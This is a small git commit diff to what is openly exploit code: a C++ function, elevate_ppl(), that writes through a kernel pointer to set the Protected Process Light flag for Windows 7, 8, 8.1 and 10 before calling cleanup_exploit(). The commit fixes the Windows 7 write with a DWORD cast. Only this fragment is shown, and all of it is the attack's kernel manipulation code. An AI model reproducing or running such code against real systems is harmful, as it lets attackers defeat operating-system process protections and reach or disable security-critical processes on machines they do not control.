Fix for Windows 7

This commit is contained in:
asdf
2019-08-23 00:45:30 -03:00
committed by GitHub
parent 0da2fac8a2
commit 8ff65f176c
+2 -2
View File
@@ -29,7 +29,7 @@ bool elevate_ppl()
windows_version version = kernel_offsets::version;
if (version == WINDOWS7)
*pPPL |= 1 << 0xB;
*(DWORD*)pPPL |= 1 << 0xB;
else if (version == WINDOWS8)
*pPPL = true;
else if (version == WINDOWS81 || version == WINDOWS10)
@@ -42,4 +42,4 @@ bool elevate_ppl()
});
return cleanup_exploit();
}
}